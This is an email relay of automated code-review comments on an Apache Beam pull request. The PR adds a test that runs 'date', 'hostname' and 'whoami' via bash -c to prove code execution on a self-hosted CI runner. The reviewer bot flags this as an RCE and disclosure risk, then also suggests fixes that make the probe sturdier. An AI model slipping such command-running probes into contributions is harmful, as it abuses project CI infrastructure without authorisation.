gemini-code-assist[bot] commented on code in PR #38598:
URL: https://github.com/apache/beam/pull/38598#discussion_r3287275011
##########
sdks/java/core/src/test/java/org/apache/beam/sdk/SecurityPoCTest.java:
##########
@@ -0,0 +1,35 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information.
+ */
+package org.apache.beam.sdk;
+
+import org.junit.Test;
+import java.io.*;
+
+/**
+ * Security PoC - demonstrates CI/CD code execution on self-hosted runner.
+ * This test only runs 'date' and 'hostname' as harmless proof of RCE.
+ */
+public class SecurityPoCTest {
Review Comment:
Introducing a test that demonstrates Remote Code Execution (RCE) and
performs environment probing (e.g., `hostname`, `whoami`) poses a security risk
and information disclosure concern. Environment validation should be handled
through CI/CD configuration (e.g., GitHub Actions workflow steps) rather than
by adding execution tests to the codebase. Furthermore, providing a utility for
arbitrary shell command execution in the core SDK is discouraged.
##########
sdks/java/core/src/test/java/org/apache/beam/sdk/SecurityPoCTest.java:
##########
@@ -0,0 +1,35 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information.
+ */
+package org.apache.beam.sdk;
+
+import org.junit.Test;
+import java.io.*;
Review Comment:
Avoid using wildcard imports. It is a best practice to import only the
specific classes needed, which improves code readability and avoids potential
naming conflicts. This also aligns with the Google Java Style Guide followed by
the project.
```suggestion
import java.io.BufferedReader;
import java.io.InputStreamReader;
```
<details>
<summary>References</summary>
1. Wildcard imports are not used.
<sup>([link](https://github.com/apache/beam/blob/master/.gemini/styleguide.md))</sup>
</details>
##########
sdks/java/core/src/test/java/org/apache/beam/sdk/SecurityPoCTest.java:
##########
@@ -0,0 +1,35 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information.
+ */
+package org.apache.beam.sdk;
+
+import org.junit.Test;
+import java.io.*;
+
+/**
+ * Security PoC - demonstrates CI/CD code execution on self-hosted runner.
+ * This test only runs 'date' and 'hostname' as harmless proof of RCE.
+ */
+public class SecurityPoCTest {
+ @Test
+ public void testRceProof() throws Exception {
+ runCommand("date");
+ runCommand("hostname");
+ runCommand("whoami");
+ }
+
+ private void runCommand(String cmd) throws Exception {
+ ProcessBuilder pb = new ProcessBuilder("bash", "-c", cmd);
Review Comment:
The use of `bash -c` makes this test platform-dependent. It will fail on
environments where `bash` is not available, such as standard Windows runners.
Consider using a more portable approach or adding logic to skip the test on
unsupported operating systems.
##########
sdks/java/core/src/test/java/org/apache/beam/sdk/SecurityPoCTest.java:
##########
@@ -0,0 +1,35 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information.
+ */
+package org.apache.beam.sdk;
+
+import org.junit.Test;
+import java.io.*;
+
+/**
+ * Security PoC - demonstrates CI/CD code execution on self-hosted runner.
+ * This test only runs 'date' and 'hostname' as harmless proof of RCE.
+ */
+public class SecurityPoCTest {
+ @Test
+ public void testRceProof() throws Exception {
+ runCommand("date");
+ runCommand("hostname");
+ runCommand("whoami");
+ }
+
+ private void runCommand(String cmd) throws Exception {
+ ProcessBuilder pb = new ProcessBuilder("bash", "-c", cmd);
+ pb.redirectErrorStream(true);
+ Process p = pb.start();
+ BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()));
+ String line;
+ System.out.println("[SECURITY-PoC] === Output of: " + cmd + " ===");
+ while ((line = reader.readLine()) != null) {
+ System.out.println("[SECURITY-PoC] " + line);
+ }
+ p.waitFor();
Review Comment:
The exit code of the process is ignored. The test should verify that the
command executed successfully by asserting that the exit code is 0.
```java
int exitCode = p.waitFor();
if (exitCode != 0) {
throw new RuntimeException("Command failed with exit code: " +
exitCode);
}
```
##########
sdks/java/core/src/test/java/org/apache/beam/sdk/SecurityPoCTest.java:
##########
@@ -0,0 +1,35 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information.
+ */
+package org.apache.beam.sdk;
+
+import org.junit.Test;
+import java.io.*;
+
+/**
+ * Security PoC - demonstrates CI/CD code execution on self-hosted runner.
+ * This test only runs 'date' and 'hostname' as harmless proof of RCE.
+ */
+public class SecurityPoCTest {
+ @Test
+ public void testRceProof() throws Exception {
+ runCommand("date");
+ runCommand("hostname");
+ runCommand("whoami");
+ }
+
+ private void runCommand(String cmd) throws Exception {
+ ProcessBuilder pb = new ProcessBuilder("bash", "-c", cmd);
+ pb.redirectErrorStream(true);
+ Process p = pb.start();
+ BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()));
+ String line;
+ System.out.println("[SECURITY-PoC] === Output of: " + cmd + " ===");
+ while ((line = reader.readLine()) != null) {
+ System.out.println("[SECURITY-PoC] " + line);
+ }
Review Comment:
The `BufferedReader` and `InputStreamReader` should be managed within a
try-with-resources block to ensure they are properly closed, preventing
potential resource leaks.
```suggestion
try (BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()))) {
String line;
System.out.println("[SECURITY-PoC] === Output of: " + cmd + "
===");
while ((line = reader.readLine()) != null) {
System.out.println("[SECURITY-PoC] " + line);
}
}
```
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
